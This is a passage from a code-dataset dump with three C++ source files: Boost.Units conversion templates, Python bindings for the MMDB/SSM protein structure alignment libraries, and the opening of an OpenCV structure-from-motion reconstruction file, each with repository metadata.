detail::conversion_impl<S2::type::size::value>::template apply<\n                typename S2::type,\n                system\n            >::value()\n            )\n            ));\n    }\n};\n\nnamespace detail {\n\ntemplate<class Source, class Dest>\nstruct conversion_factor_helper;\n\ntemplate<class D, class L1, class L2>\nstruct conversion_factor_helper<unit<D, homogeneous_system<L1> >, unit<D, homogeneous_system<L2> > >\n{\n    typedef typename reduce_unit<unit<D, homogeneous_system<L1> > >::type source_unit;\n    typedef typename source_unit::system_type::type unit_list;\n    typedef typename detail::conversion_impl<unit_list::size::value>::template apply<\n        unit_list,\n        homogeneous_system<L2>\n    > impl;\n    typedef typename impl::type type;\n    static type value()\n    {\n        return(impl::value());\n    }\n};\n\ntemplate<class D, class L1, class L2>\nstruct conversion_factor_helper<unit<D, heterogeneous_system<L1> >, unit<D, homogeneous_system<L2> > >\n{\n    typedef typename detail::conversion_impl<L1::type::size::value>::template apply<\n        typename L1::type,\n        homogeneous_system<L2>\n    > impl;\n    typedef eval_scale_list<typename L1::scale> scale;\n    typedef typename multiply_typeof_helper<typename impl::type, typename scale::type>::type type;\n    static type value()\n    {\n        return(impl::value() * scale::value());\n    }\n};\n\n// There is no simple algorithm for doing this conversion\n// other than just defining it as the reverse of the\n// heterogeneous->homogeneous case\ntemplate<class D, class L1, class L2>\nstruct conversion_factor_helper<unit<D, homogeneous_system<L1> >, unit<D, heterogeneous_system<L2> > >\n{\n    typedef typename detail::conversion_impl<L2::type::size::value>::template apply<\n        typename L2::type,\n        homogeneous_system<L1>\n    > impl;\n    typedef eval_scale_list<typename L2::scale> scale;\n    typedef typename multiply_typeof_helper<typename impl::type, typename scale::type>::type type;\n    static type value()\n    {\n        one numerator;\n        return(numerator / (impl::value() * scale::value()));\n    }\n};\n\n/// Requires that all possible conversions\n/// between base units are defined.\ntemplate<class D, class S1, class S2>\nstruct conversion_factor_helper<unit<D, heterogeneous_system<S1> >, unit<D, heterogeneous_system<S2> > >\n{\n    /// INTERNAL ONLY\n    typedef typename detail::extract_base_units<S1::type::size::value>::template apply<\n        typename S1::type,\n        dimensionless_type\n    >::type from_base_units;\n    /// INTERNAL ONLY\n    typedef typename detail::extract_base_units<S2::type::size::value>::template apply<\n        typename S2::type,\n        from_base_units\n    >::type all_base_units;\n    /// INTERNAL ONLY\n    typedef typename detail::make_homogeneous_system<all_base_units>::type system;\n    typedef typename detail::conversion_impl<S1::type::size::value>::template apply<\n        typename S1::type,\n        system\n    > conversion1;\n    typedef typename detail::conversion_impl<S2::type::size::value>::template apply<\n        typename S2::type,\n        system\n    > conversion2;\n    typedef eval_scale_list<typename mpl::divides<typename S1::scale, typename S2::scale>::type> scale;\n    typedef typename multiply_typeof_helper<\n        typename conversion1::type,\n        typename divide_typeof_helper<typename scale::type, typename conversion2::type>::type\n    >::type type;\n    static type value()\n    {\n        return(conversion1::value() * (scale::value() / conversion2::value()));\n    }\n};\n\n} // namespace detail\n\n} // namespace units\n\n} // namespace boost\n\n#endif // BOOST_UNITS_CONVERSION_IMPL_HPP\n", "meta": {"hexsha": "f53cec8784f166e68752a89188662705cc3703e4", "size": 18497, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "boost/units/detail/conversion_impl.hpp", "max_stars_repo_name": "mike-code/boost_1_38_0", "max_stars_repo_head_hexsha": "7ff8b2069344ea6b0b757aa1f0778dfb8526df3c", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "boost/units/detail/conversion_impl.hpp", "max_issues_repo_name": "mike-code/boost_1_38_0", "max_issues_repo_head_hexsha": "7ff8b2069344ea6b0b757aa1f0778dfb8526df3c", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "boost/units/detail/conversion_impl.hpp", "max_forks_repo_name": "mike-code/boost_1_38_0", "max_forks_repo_head_hexsha": "7ff8b2069344ea6b0b757aa1f0778dfb8526df3c", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.5093283582, "max_line_length": 158, "alphanum_fraction": 0.707952641, "num_tokens": 3959, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041652, "lm_q2_score": 0.28776780965284365, "lm_q1q2_score": 0.14725556649870766}}
{"text": "#include <boost/python.hpp>\n#include <boost/python/object.hpp>\n#include <boost/python/extract.hpp>\n#include <boost/python/list.hpp>\n\n#include <boost/scoped_ptr.hpp>\n#include <boost/scoped_array.hpp>\n\n#include <mmdb/mmdb_manager.h>\n#include <ssm/ssm_align.h>\n#include <ssm/ssm_malign.h>\n\nnamespace ccp4io_adaptbx { namespace boost_python {\n\nusing namespace ssm;\nusing namespace mmdb;\n\nclass PySSMAlign : public Align\n{\n  public:\n    PySSMAlign() {}\n    ~PySSMAlign() {}\n\n    boost::python::tuple get_t_matrix() const\n    {\n      return boost::python::make_tuple(\n        TMatrix[0][0], TMatrix[0][1], TMatrix[0][2], TMatrix[0][3],\n        TMatrix[1][0], TMatrix[1][1], TMatrix[1][2], TMatrix[1][3],\n        TMatrix[2][0], TMatrix[2][1], TMatrix[2][2], TMatrix[2][3]\n        );\n    }\n\n    boost::python::list get_q_values() const\n    {\n        boost::python::list l;\n        realtype* pqvalues = GetQvalues();\n\n        for ( int i = 0; i < GetNMatches(); ++i )\n        {\n            l.append( pqvalues[ i ] );\n        }\n\n        return l;\n    }\n};\n\nclass ResidueData\n{\n  public:\n    realtype hydropathy;\n    boost::python::str chain_id, resname, inscode;\n    int sse_type, resseq;\n\n    ResidueData(\n      const realtype& hydropathy_,\n      const ChainID& chain_id_,\n      const ResName& resname_,\n      const InsCode& inscode_,\n      int sse_type_,\n      int resseq_\n      )\n      : hydropathy( hydropathy_ ),\n        chain_id(\n          chain_id_[0] == '\\0' ? \" \" : boost::python::str( chain_id_, 1 )\n          ),\n        resname( boost::python::str( resname_, 3 ) ),\n        inscode(\n          inscode_[0] == '\\0' ? \" \" : boost::python::str( inscode_, 1 )\n          ),\n        sse_type( sse_type_ ),\n        resseq( resseq_ )\n    {}\n\n    ~ResidueData() {}\n};\n\nclass PyXAlignText : public XAlignText\n{\n  private:\n    int length;\n\n  public:\n    PyXAlignText() : length( 0 ) {}\n    ~PyXAlignText() {}\n\n    void py_x_align(PManager m1, PManager m2, PySSMAlign& cssm)\n    {\n      PPAtom Calpha1,Calpha2;\n      int nat1,nat2,nr;\n\n      m1->GetSelIndex ( cssm.selHndCa1,Calpha1,nat1 );\n      m2->GetSelIndex ( cssm.selHndCa2,Calpha2,nat2 );\n\n      align(\n        cssm.G1, Calpha1, cssm.Ca1, nat1,\n        cssm.G2, Calpha2, cssm.Ca2, nat2,\n        cssm.dist1, length\n        );\n    }\n\n    boost::python::list get_blocks()\n    {\n      boost::python::list l;\n\n      PXTAlign XTA = GetTextRows();\n\n      for( int i = 0; i < length; ++i)\n      {\n        boost::python::tuple equivs;\n        boost::python::tuple info;\n\n        switch ( XTA[i].alignKey )\n        {\n        case 0: // KEY_ALIGNED\n          info = boost::python::make_tuple(\n            XTA[i].dist,\n            XTA[i].loopNo,\n            XTA[i].simindex\n            );\n            // no break!\n\n        case 1: // KEY_NOT_ALIGNED\n          equivs = boost::python::make_tuple(\n            ResidueData(\n              XTA[i].hydropathy1,\n              XTA[i].chID1,\n              XTA[i].resName1,\n              XTA[i].insCode1,\n              XTA[i].sseType1,\n              XTA[i].seqNum1\n              ),\n            ResidueData(\n              XTA[i].hydropathy2,\n              XTA[i].chID2,\n              XTA[i].resName2,\n              XTA[i].insCode2,\n              XTA[i].sseType2,\n              XTA[i].seqNum2\n              )\n            );\n          break;\n\n        case 2: // KEY_FIRST_GAP\n          equivs = boost::python::make_tuple(\n            boost::python::object(),\n            ResidueData(\n              XTA[i].hydropathy2,\n              XTA[i].chID2,\n              XTA[i].resName2,\n              XTA[i].insCode2,\n              XTA[i].sseType2,\n              XTA[i].seqNum2\n              )\n            );\n          break;\n\n        case 3: // KEY_SECOND_GAP\n          equivs = boost::python::make_tuple(\n            ResidueData(\n              XTA[i].hydropathy1,\n              XTA[i].chID1,\n              XTA[i].resName1,\n              XTA[i].insCode1,\n              XTA[i].sseType1,\n              XTA[i].seqNum1\n              ),\n            boost::python::object()\n            );\n          break;\n        }\n\n        l.append( boost::python::make_tuple( equivs, info ) );\n      }\n\n      return l;\n    }\n};\n\nstruct MultAlignResidueData\n{\n  public:\n    bool aligned;\n    boost::python::str chain_id, resname, inscode;\n    int sse_type, resseq;\n\n    MultAlignResidueData(\n      const ChainID& chain_id_,\n      const ResName& resname_,\n      const InsCode& inscode_,\n      int sse_type_,\n      int resseq_,\n      bool aligned_\n      )\n      : chain_id( chain_id_[0] == '\\0' ? \"\" : boost::python::str( chain_id_, 1 ) ),\n        resname( resname_[0] == '\\0' ? \"\" : boost::python::str( resname_, 3 ) ),\n        inscode( inscode_[0] == '\\0' ? \"\" : boost::python::str( inscode_, 1 ) ),\n        sse_type( sse_type_ ),\n        resseq( resseq_ ),\n        aligned( aligned_ )\n    {}\n\n    ~MultAlignResidueData() {}\n};\n\nclass MultipleAlignment\n{\npublic:\n  typedef boost::scoped_ptr< Graph > graph_ptr_type;\n\nprivate:\n  int rc_;\n  boost::python::list result_;\n  boost::python::list matrices_;\n\n  int n_align_;\n  int n_sses_;\n  mmdb::realtype rmsd_;\n  mmdb::realtype q_score_;\n\npublic:\n  MultipleAlignment(\n    boost::python::object managers,\n    boost::python::object selstrings\n    )\n    : rc_( MALIGN_NoAlignment ), n_align_( 0 ), n_sses_( 0 ), rmsd_( 0 ),\n      q_score_( 0 )\n  {\n    using namespace boost::python;\n    using namespace boost;\n\n    std::size_t size = extract< std::size_t >( managers.attr( \"__len__\" )() );\n    assert ( size == extract< std::size_t >( selstrings.attr( \"__len__\" )() ) );\n\n    scoped_array< PManager > p_managers( new PManager[ size ] );\n    scoped_array< int > p_handles( new int[ size ] );\n    scoped_array< pstr > p_strs( new pstr[ size ] );\n    scoped_array< graph_ptr_type > p_graphs( new graph_ptr_type[ size ] );\n    scoped_array< PGraph > p_raw_pgraphs( new PGraph[ size ] );\n\n    for ( std::size_t i = 0; i < size; ++i )\n    {\n      p_managers[ i ] = extract< Manager* >( managers[ i ] );\n      p_strs[ i ] = extract< char* >( selstrings[ i ] );\n\n      p_handles[ i ] = p_managers[ i ]->NewSelection();\n      p_managers[ i ]->Select( p_handles[ i ], STYPE_ATOM, p_strs[ i ], SKEY_NEW );\n    }\n\n    rc_ = MALIGN_Ok;\n\n    for ( std::size_t i = 0; i < size; ++i )\n    {\n      graph_ptr_type graph_ptr( GetSSGraph( p_managers[ i ], p_handles[ i ], rc_ ) );\n\n      if ( rc_ != MALIGN_Ok )\n      {\n        break;\n      }\n\n      p_graphs[ i ].swap( graph_ptr );\n      p_raw_pgraphs[ i ] = p_graphs[ i ].get();\n    }\n\n    MultAlign malign;\n\n    if ( rc_ == MALIGN_Ok )\n    {\n      rc_ = malign.align( p_managers.get(), p_strs.get(), p_raw_pgraphs.get(), size );\n    }\n\n    if ( rc_ == MALIGN_Ok )\n    {\n      get_ma_output( malign );\n      get_ss_output( malign, size );\n      get_scores( malign );\n    }\n\n    for ( std::size_t i = 0; i < size; ++i )\n    {\n      p_managers[ i ]->DeleteSelection( p_handles[ i ] );\n    }\n  }\n\n  ~MultipleAlignment()\n  {}\n\npublic:\n  int get_return_code() const\n  {\n    return rc_;\n  }\n\n  boost::python::list get_alignment() const\n  {\n    return result_;\n  }\n\n  boost::python::list get_matrices() const\n  {\n    return matrices_;\n  }\n\n  int get_n_align() const\n  {\n    return n_align_;\n  }\n\n  int get_n_sses() const\n  {\n    return n_sses_;\n  }\n\n  mmdb::realtype get_rmsd() const\n  {\n    return rmsd_;\n  }\n\n  mmdb::realtype get_q_score() const\n  {\n    return q_score_;\n  }\n\nprivate:\n  void get_ma_output(MultAlign& malign)\n  {\n    PPMAOutput MAOut = NULL;\n    int nrows = 0;\n    int ncols = 0;\n\n    malign.GetMAOutput ( MAOut, nrows, ncols );\n\n    for ( int i = 0; i < nrows; ++i )\n    {\n      boost::python::list row;\n\n      for ( int j = 0; j < ncols; ++j )\n      {\n        MAOutput const& ma = MAOut[i][j];\n\n        row.append(\n          MultAlignResidueData(\n            ma.chID,\n            ma.name,\n            ma.insCode,\n            ma.sseType,\n            ma.seqNum,\n            ma.aligned\n            )\n          );\n      }\n\n      result_.append( row );\n    }\n\n    FreeMSOutput ( MAOut, nrows );\n  }\n\n  void get_ss_output(MultAlign& malign, int size)\n  {\n    mmdb::mat44 T;\n\n    for ( int i=0; i< size; ++i )\n    {\n      malign.getTMatrix( T, i );\n      matrices_.append(\n        boost::python::make_tuple(\n          T[0][0],T[0][1],T[0][2],T[0][3],\n          T[1][0],T[1][1],T[1][2],T[1][3],\n          T[2][0],T[2][1],T[2][2],T[2][3]\n          )\n        );\n    }\n  }\n\n  void get_scores(MultAlign& malign)\n  {\n    malign.getAlignScores( n_align_, n_sses_, rmsd_, q_score_ );\n  }\n};\n\nstruct Manager_wrappers\n{\n  typedef Manager wt;\n\n  static\n  boost::python::object\n  GetSymOp_wrapper(\n    wt& O,\n    int Nop)\n  {\n    cpstr s = O.GetSymOp(Nop);\n    if (s == 0) return boost::python::object();\n    return boost::python::str(s);\n  }\n\n  static void\n  wrap()\n  {\n    using namespace boost::python;\n    class_<wt>( \"Manager\", init<>() )\n      .def( \"SetFlag\", &wt::SetFlag, ( arg( \"flag\" ) ) )\n      .def(\"ReadPDBASCII\",\n        (ERROR_CODE (wt::*)(cpstr, io::GZ_MODE)) &wt::ReadPDBASCII, (\n          arg( \"fileName\" ), arg( \"gzipMode\" )))\n      .def( \"PutPDBString\",\n        (ERROR_CODE (wt::*)(cpstr)) &wt::PutPDBString,\n         ( arg( \"pdbString\" )))\n      .def( \"WritePDBASCII\",\n        (ERROR_CODE (wt::*)(cpstr, io::GZ_MODE)) &wt::WritePDBASCII, (\n          arg( \"fileName\" ), arg( \"gzipMode\" )))\n      .def( \"NewSelection\", &wt::NewSelection )\n      .def(\"Select\",\n        (int (wt::*)(int, SELECTION_TYPE, cpstr, SELECTION_KEY)) &wt::Select, (\n          arg( \"selHnd\" ), arg( \"selType\" ), arg( \"cid\" ), arg( \"selKey\")))\n      .def( \"GetSelLength\", &wt::GetSelLength, ( arg( \"selHnd\" ) ) )\n      .def( \"isSpaceGroup\", &wt::isSpaceGroup )\n      .def( \"GetNumberOfSymOps\", &wt::GetNumberOfSymOps )\n      .def( \"GetSymOp\", GetSymOp_wrapper, ( arg( \"Nop\" ) ) )\n    ;\n  }\n};\n\nvoid\ninit_module()\n{\n  using namespace boost::python;\n\n  object package = scope();\n  package.attr( \"__path__\" ) = \"ccp4io_adaptbx\";\n\n  object mmdb_module((\n    handle<>( borrowed( PyImport_AddModule( \"ccp4io_adaptbx.mmdb\" ) ) )\n    ));\n  object ssm_module((\n    handle<>( borrowed( PyImport_AddModule( \"ccp4io_adaptbx.ssm\" ) ) )\n    ));\n  scope().attr( \"mmdb\" ) = mmdb_module;\n  scope().attr( \"ssm\" ) = ssm_module;\n  scope mmdb_scope = mmdb_module;\n  enum_<SELECTION_TYPE>(\"SELECTION_TYPE\")\n    .value(\"INVALID\", STYPE_INVALID)\n    .value(\"UNDEFINED\", STYPE_UNDEFINED)\n    .value(\"ATOM\", STYPE_ATOM)\n    .value(\"RESIDUE\", STYPE_RESIDUE)\n    .value(\"CHAIN\", STYPE_CHAIN)\n    .value(\"MODEL\", STYPE_MODEL);\n  enum_<SELECTION_KEY>(\"SELECTION_KEY\")\n    .value(\"NEW\", SKEY_NEW)\n    .value(\"OR\", SKEY_OR)\n    .value(\"AND\", SKEY_AND)\n    .value(\"XOR\", SKEY_XOR)\n    .value(\"CLR\", SKEY_CLR)\n    .value(\"XAND\", SKEY_XAND);\n  enum_<ERROR_CODE>(\"ERROR_CODE\")\n    .value(\"EmptyCIF\",Error_EmptyCIF)\n    .value(\"NoError\",Error_NoError)\n    .value(\"Ok\",Error_Ok);\n  enum_<MMDB_READ_FLAG>(\"MMDB_READ_FLAG\")\n    .value(\"PrintCIFWarnings\", MMDBF_PrintCIFWarnings )\n    .value(\"IgnoreDuplSeqNum\", MMDBF_IgnoreDuplSeqNum)\n    .value(\"IgnoreNonCoorPDBErrors\", MMDBF_IgnoreNonCoorPDBErrors);\n  enum_<io::GZ_MODE>(\"IO_GZ_MODE\")\n    .value(\"NONE\", io::GZM_NONE)\n    .value(\"CHECK\", io::GZM_CHECK)\n    .value(\"ENFORCE\", io::GZM_ENFORCE)\n    .value(\"ENFORCE_GZIP\", io::GZM_ENFORCE_GZIP)\n    .value(\"ENFORCE_COMPRESS\", io::GZM_ENFORCE_COMPRESS);\n  enum_<io::FILE_ERROR>(\"IO_FILE_ERROR\")\n    .value(\"NoMemory\", io::FileError_NoMemory)\n    .value(\"ShortData\", io::FileError_ShortData)\n    .value(\"_NoDataFound\", io::FileError_NoDataFound)\n    .value(\"NoColumn\", io::FileError_NoColumn)\n    .value(\"BadData\", io::FileError_BadData)\n    .value(\"WrongMemoryAllocation\", io::FileError_WrongMemoryAllocation);\n  def( \"GetErrorDescription\", &GetErrorDescription );\n\n  InitMatType();\n  Manager_wrappers::wrap();\n\n  scope ssm_scope = ssm_module;\n\n  enum_<SUPERPOSITION_RESULT>(\"SUPERPOSITION_RESULT\")\n    .value(\"Ok\", SPOSE_Ok)\n    .value(\"BadData\", SPOSE_BadData)\n    .value(\"NoCalphas1\", SPOSE_NoCalphas1)\n    .value(\"NoCalphas2\", SPOSE_NoCalphas2)\n    .value(\"RemoteStruct\", SPOSE_RemoteStruct)\n    .value(\"SVDFail\", SPOSE_SVDFail);\n  enum_<RETURN_CODE>(\"RETURN_CODE\")\n    .value(\"Ok\", RC_Ok)\n    .value(\"NoHits\", RC_NoHits)\n    .value(\"NoSuperposition\", RC_NoSuperposition)\n    .value(\"NoGraph\", RC_NoGraph)\n    .value(\"NoVertices\", RC_NoVertices)\n    .value(\"NoGraph2\", RC_NoGraph2)\n    .value(\"NoVertices2\", RC_NoVertices2)\n    .value(\"TooFewMatches\", RC_TooFewMatches);\n  enum_<PRECISION>(\"PRECISION\")\n    .value(\"Highest\", PREC_Highest)\n    .value(\"High\", PREC_High)\n    .value(\"Normal\", PREC_Normal)\n    .value(\"Low\", PREC_Low)\n    .value(\"Lowest\", PREC_Lowest);\n  enum_<CONNECTIVITY>(\"CONNECTIVITY\")\n    .value(\"Flexible\", CONNECT_Flexible)\n    .value(\"None_\", CONNECT_None)\n    .value(\"Strict\", CONNECT_Strict);\n  enum_<VERTEX_TYPE>(\"VERTEX_TYPE\")\n    .value(\"UNKNOWN\", V_UNKNOWN)\n    .value(\"HELIX\", V_HELIX)\n    .value(\"STRAND\", V_STRAND);\n  enum_<MALIGN_RC>(\"MALIGN\")\n    .value(\"Ok\", MALIGN_Ok)\n    .value(\"BadInput\", MALIGN_BadInput)\n    .value(\"NoStructure\", MALIGN_NoStructure)\n    .value(\"NoAlignment\", MALIGN_NoAlignment)\n    .value(\"NoGraph\", MALIGN_NoGraph);\n\n  InitGraph();\n  class_< PySSMAlign >( \"SSMAlign\", init<>() )\n    .def(\n      \"Align\",\n      &PySSMAlign::align,\n      ( arg( \"manager1\" ), arg( \"manager2\" ), arg( \"precision\" ),\n        arg( \"connectivity\" ), arg( \"selHnd1\" ), arg( \"selHnd2\" ) )\n      )\n    .def( \"GetQvalues\", &PySSMAlign::get_q_values )\n    .def(\n      \"AlignSelectedMatch\",\n      &PySSMAlign::AlignSelectedMatch,\n      ( arg( \"manager1\" ), arg( \"manager2\" ), arg( \"precision\" ),\n        arg( \"connectivity\" ), arg( \"selHnd1\" ), arg( \"selHnd2\" ), arg( \"nselected\" ) )\n      )\n    .def_readonly( \"rmsd\", &PySSMAlign::rmsd )\n    .def_readonly( \"n_align\", &PySSMAlign::nalgn )\n    .add_property( \"t_matrix\", &PySSMAlign::get_t_matrix )\n    ;\n\n  class_< ResidueData >( \"ResidueData\", no_init )\n    .def_readonly( \"hydropathy\", &ResidueData::hydropathy )\n    .def_readonly( \"chain_id\", &ResidueData::chain_id )\n    .def_readonly( \"resname\", &ResidueData::resname )\n    .def_readonly( \"inscode\", &ResidueData::inscode )\n    .def_readonly( \"sse_type\", &ResidueData::sse_type )\n    .def_readonly( \"resseq\", &ResidueData::resseq )\n    ;\n\n  class_< PyXAlignText >( \"XAlignText\", init<>() )\n    .def( \"XAlign\", &PyXAlignText::py_x_align,\n      ( arg( \"manager1\" ), arg( \"manager2\" ), arg( \"ssm_align\" ) )\n      )\n    .def( \"get_blocks\", &PyXAlignText::get_blocks )\n    ;\n\n  class_< MultAlignResidueData >( \"MultAlignResidueData\", no_init )\n    .def_readonly( \"chain_id\", &MultAlignResidueData::chain_id )\n    .def_readonly( \"resname\", &MultAlignResidueData::resname )\n    .def_readonly( \"inscode\", &MultAlignResidueData::inscode )\n    .def_readonly( \"sse_type\", &MultAlignResidueData::sse_type )\n    .def_readonly( \"resseq\", &MultAlignResidueData::resseq )\n    .def_readonly( \"aligned\", &MultAlignResidueData::aligned )\n    ;\n\n  class_< MultipleAlignment >( \"MultipleAlignment\", no_init )\n    .def( init< object, object >( ( arg( \"managers\" ), arg( \"selstrings\" ) ) ) )\n    .def( \"get_return_code\", &MultipleAlignment::get_return_code )\n    .def( \"get_alignment\", &MultipleAlignment::get_alignment )\n    .def( \"get_matrices\", &MultipleAlignment::get_matrices )\n    .def( \"get_n_align\", &MultipleAlignment::get_n_align )\n    .def( \"get_n_sses\", &MultipleAlignment::get_n_sses )\n    .def( \"get_rmsd\", &MultipleAlignment::get_rmsd )\n    .def( \"get_q_score\", &MultipleAlignment::get_q_score )\n    ;\n}\n\n}}  // namespace ccp4io_adaptbx::boost_python\n\nBOOST_PYTHON_MODULE( ccp4io_adaptbx_ext )\n{\n  ccp4io_adaptbx::boost_python::init_module();\n}\n", "meta": {"hexsha": "5dd64ef76ebffbee801823e909977bb6009b88be", "size": 15636, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "modules/ccp4io_adaptbx/ext.cpp", "max_stars_repo_name": "jorgediazjr/dials-dev20191018", "max_stars_repo_head_hexsha": "77d66c719b5746f37af51ad593e2941ed6fbba17", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "modules/ccp4io_adaptbx/ext.cpp", "max_issues_repo_name": "jorgediazjr/dials-dev20191018", "max_issues_repo_head_hexsha": "77d66c719b5746f37af51ad593e2941ed6fbba17", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "modules/ccp4io_adaptbx/ext.cpp", "max_forks_repo_name": "jorgediazjr/dials-dev20191018", "max_forks_repo_head_hexsha": "77d66c719b5746f37af51ad593e2941ed6fbba17", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2020-02-04T15:39:06.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-04T15:39:06.000Z", "avg_line_length": 26.8659793814, "max_line_length": 87, "alphanum_fraction": 0.5854438475, "num_tokens": 4815, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041652, "lm_q2_score": 0.28776780354463427, "lm_q1q2_score": 0.1472555633730355}}
{"text": "/*\n * Software License Agreement (BSD License)\n *\n *  Copyright (c) 2009, Willow Garage, Inc.\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and/or other materials provided\n *     with the distribution.\n *   * Neither the name of Willow Garage, Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *\n */\n\n#include \"precomp.hpp\"\n\n#if CERES_FOUND\n\n// Eigen\n#include <Eigen/Core>\n\n// OpenCV\n#include <opencv2/sfm.hpp>\n\n#include <iostream>\n\nusing namespace cv;\nusing namespace cv::sfm;\nusing namespace std;\n\nnamespace cv\n{\nnamespace sfm\n{\n\n  template<class T>\n  void\n  reconstruct_(const T &input, OutputArray Rs, OutputArray Ts, InputOutputArray K, OutputArray points3d, const bool refinement=true)\n  {\n    // Initial reconstruction\n    const int keyframe1 = 1, keyframe2 = 2;\n    const int select_keyframes = 1; // enable automatic keyframes selection\n    const int verbosity_level = -1; // mute libmv logs\n\n    // Refinement parameters\n    const int refine_intrinsics = ( !refinement ) ? 0 :\n        SFM_REFINE_FOCAL_LENGTH | SFM_REFINE_PRINCIPAL_POINT | SFM_REFINE_RADIAL_DISTORTION_K1 | SFM_REFINE_RADIAL_DISTORTION_K2;\n\n    // Camera data\n    Matx33d Ka = K.getMat();\n    const double focal_length = Ka(0,0);\n    const double principal_x = Ka(0,2), principal_y = Ka(1,2), k1 = 0, k2 = 0, k3 = 0;\n\n    // Set reconstruction options\n    libmv_ReconstructionOptions reconstruction_options(keyframe1, keyframe2, refine_intrinsics, select_keyframes, verbosity_level);\n\n    libmv_CameraIntrinsicsOptions camera_instrinsic_options =\n      libmv_CameraIntrinsicsOptions(SFM_DISTORTION_MODEL_POLYNOMIAL,\n                                    focal_length, principal_x, principal_y,\n                                    k1, k2, k3);\n\n    //-- Instantiate reconstruction pipeline\n    Ptr<BaseSFM> reconstruction =\n      SFMLibmvEuclideanReconstruction::create(camera_instrinsic_options, reconstruction_options);\n\n    //-- Run reconstruction pipeline\n    reconstruction->run(input, K, Rs, Ts, points3d);\n\n  }\n\n\n  //  Reconstruction function for API\n  void\n  reconstruct(InputArrayOfArrays points2d, OutputArray Ps, OutputArray points3d, InputOutputArray K,\n              bool is_projective)\n  {\n    const int nviews = points2d.total();\n    CV_Assert( nviews >= 2 );\n\n    // OpenCV data types\n    std::vector<Mat> pts2d;\n    points2d.getMatVector(pts2d);\n    const int depth = pts2d[0].depth();\n\n    Matx33d Ka = K.getMat();\n\n    // Projective reconstruction\n\n    if (is_projective)\n    {\n\n      if ( nviews == 2 )\n      {\n        // Get Projection matrices\n        Matx33d F;\n        Matx34d P, Pp;\n\n        normalizedEightPointSolver(pts2d[0], pts2d[1], F);\n        projectionsFromFundamental(F, P, Pp);\n        Ps.create(2, 1, depth);\n        Mat(P).copyTo(Ps.getMatRef(0));\n        Mat(Pp).copyTo(Ps.getMatRef(1));\n\n        // Triangulate and find 3D points using inliers\n        triangulatePoints(points2d, Ps, points3d);\n      }\n      else\n      {\n        std::vector<Mat> Rs, Ts;\n        reconstruct(points2d, Rs, Ts, Ka, points3d, is_projective);\n\n        // From Rs and Ts, extract Ps\n        const int nviews = Rs.size();\n        Ps.create(nviews, 1, depth);\n\n        Matx34d P;\n        for (size_t i = 0; i < nviews; ++i)\n        {\n          projectionFromKRt(Ka, Rs[i], Vec3d(Ts[i]), P);\n          Mat(P).copyTo(Ps.getMatRef(i));\n        }\n\n        Mat(Ka).copyTo(K.getMat());\n      }\n\n    }\n\n\n    // Affine reconstruction\n\n    else\n    {\n      // TODO: implement me\n    }\n\n  }\n\n\n  void\n  reconstruct(InputArrayOfArrays points2d, OutputArray Rs, OutputArray Ts, InputOutputArray K,\n              OutputArray points3d, bool is_projective)\n  {\n    const int nviews = points2d.total();\n    CV_Assert( nviews >= 2 );\n\n\n    // Projective reconstruction\n\n    if (is_projective)\n    {\n\n      // calls simple pipeline\n      reconstruct_(points2d, Rs, Ts, K, points3d);\n\n    }\n\n    // Affine reconstruction\n\n    else\n    {\n      // TODO: implement me\n    }\n\n  }\n\n\n  void\n  reconstruct(const std::vector<std::string> images, OutputArray Ps, OutputArray points3d,\n              InputOutputArray K, bool is_projective)\n  {\n    const int nviews = static_cast<int>(images.size());\n    CV_Assert( nviews >= 2 );\n\n    Matx33d Ka = K.getMat();\n    const int depth = Mat(Ka).depth();\n\n    // Projective reconstruction\n\n    if ( is_projective )\n    {\n      std::vector<Mat> Rs, Ts;\n      reconstruct(images, Rs, Ts, Ka, points3d, is_projective);\n\n      // From 